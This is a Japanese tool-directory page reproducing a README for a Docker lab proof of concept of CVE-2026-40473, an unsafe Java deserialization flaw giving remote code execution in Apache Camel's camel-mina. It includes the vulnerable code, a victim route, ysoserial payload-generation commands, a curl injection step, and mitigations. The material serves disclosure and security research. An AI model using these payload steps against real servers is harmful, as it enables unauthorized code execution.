Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-40473 — CVE-2026-40473 の再現ツール: Apache Camel camel-mina MinaConverter.toObjectInput 安全でないデシリアライゼーション (TCP/UDP を介した RCE) | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-40473
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育バイナリエクスプロイト
GitHuboscerd/cve-2026-40473

CVE-2026-40473

CVE-2026-40473 の再現ツール: Apache Camel camel-mina MinaConverter.toObjectInput 安全でないデシリアライゼーション (TCP/UDP を介した RCE)

リポジトリを見る
22ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

camel-mina MinaConverter.toObjectInput 安全でないデシリアライゼーションの再現器 (CVE-2026-40473)

このプロジェクトは、Apache Camel の camel-mina コンポーネントにおける Java デシリアライゼーションの脆弱性(追跡番号 CVE-2026-40473)を示しています。MinaConverter.toObjectInput(IoBuffer) 型コンバーターは、受信したバイトを ObjectInputFilter なしの生の ObjectInputStream でラップするため、TCP/UDP ボディを ObjectInput に変換し readObject() を呼び出すルートは、攻撃者が細工したシリアライズオブジェクトを MINA ポートに送信することで リモートコード実行 (RCE) に悪用される可能性があります。

Advisory: https://camel.apache.org/security/CVE-2026-40473.html

脆弱性の概要

プロパティ値
コンポーネントcamel-mina
影響を受けるクラスorg.apache.camel.component.mina.MinaConverter (toObjectInput)
CWECWE-502: 信頼されていないデータのデシリアライゼーション
影響TCP/UDP を介したリモートコード実行 (RCE)
影響を受けるバージョン3.0.0 から 4.14.6 未満、4.15.0 から 4.18.2 未満、4.19.0 から 4.20.0 未満
修正済みバージョン4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23319
報告者Venkatraman Kumar (Securin)

技術的詳細

IoBuffer → ObjectInput 型コンバーターは、バッファを生の ObjectInputStream でラップします:

root@kitploit:~
// MinaConverter.toObjectInput(IoBuffer) - affected version
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = buffer.asInputStream();
    return new ObjectInputStream(is);   // NO ObjectInputFilter
}

camel-mina TCP/UDP コンシューマーが生のバイトを配信し(例:allowDefaultCodec=false)、ルートが ObjectInput(getBody(ObjectInput.class)、@Body ObjectInput、または convertBodyTo(ObjectInput.class))を要求すると、このコンバーターが実行されます。返されたストリームで readObject() を呼び出すと、攻撃者によって提供されたバイト内の任意のガジェットチェーンが実行されます。

被害者ルート

root@kitploit:~
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput
        Object obj = oi.readObject();                                  // deserialization sink
        exchange.getMessage().setBody("deserialized: " + obj);
    });

前提条件

  • Java 17+ および Maven 3.8+(jar のビルド用)
  • Docker(再現器の実行用)
  • ysoserial(ペイロード生成用)

再現手順

ステップ 1: jar をビルドしてコンテナを起動する

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

ステップ 2: 悪意のあるペイロードを生成する

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# On JDK 21 add --add-opens to generate CommonsCollections gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

ステップ 3: TCP 経由で MINA ポートに送信する (RCE)

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# The bundled helper opens a raw TCP socket to mina:5555 and writes the bytes; the victim route
# converts them to ObjectInput and calls readObject().
# -> ">>> RCE proof — /tmp/pwned exists: true"

(この PoC では MINA ポート 5555 はコンテナ内部です。/exploit/inject ヘルパーが内部から生の TCP 送信を実行します。ホストから nc などの生クライアントで送信するにはポート 5555 を公開してください。)

ステップ 4: 確認

root@kitploit:~
docker exec cve-2026-40473 ls -la /tmp/pwned

クリーンアップ

root@kitploit:~
docker compose down

攻撃ベクトル

ボディを ObjectInput に変換する(直接、@Body ObjectInput、または convertBodyTo(ObjectInput.class) 経由)camel-mina TCP または UDP コンシューマーのルートは、MINA ポートに到達できるすべての攻撃者によって悪用される可能性があります。

悪用条件

  1. 受信したバイトの ObjectInput 変換を要求する camel-mina TCP/UDP コンシューマー。
  2. クラスパス上のガジェットライブラリ(例:commons-collections:3.2.1)。

推奨される修正

4.14.6 / 4.18.2 / 4.20.0 にアップグレードしてください。修正では、コンバーターに ObjectInputFilter / クラス許可リストが適用されます(camel-netty、camel-jms、camel-infinispan に適用された強化と同様)。

緩和策

アップグレードまでの間:

  1. 信頼されていない MINA ボディを ObjectInput に変換しない / デシリアライズしない。
  2. ガジェットライブラリを削除する(commons-collections 3.x をアップグレードまたは削除)。
  3. MINA ポートへのネットワークアクセスを信頼できるピアに制限する。

ファイル

root@kitploit:~
CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java      # victim: from(mina:tcp).getBody(ObjectInput).readObject()
    │   └── ExploitController.java    # /inject: sends serialized bytes over TCP to mina:5555
    └── resources/
        └── application.properties

免責事項

この再現器は、公に開示され修正された脆弱性のセキュリティ研究および許可されたテスト専用に提供されています。許可なくシステムに対して使用しないでください。

ツールをダウンロード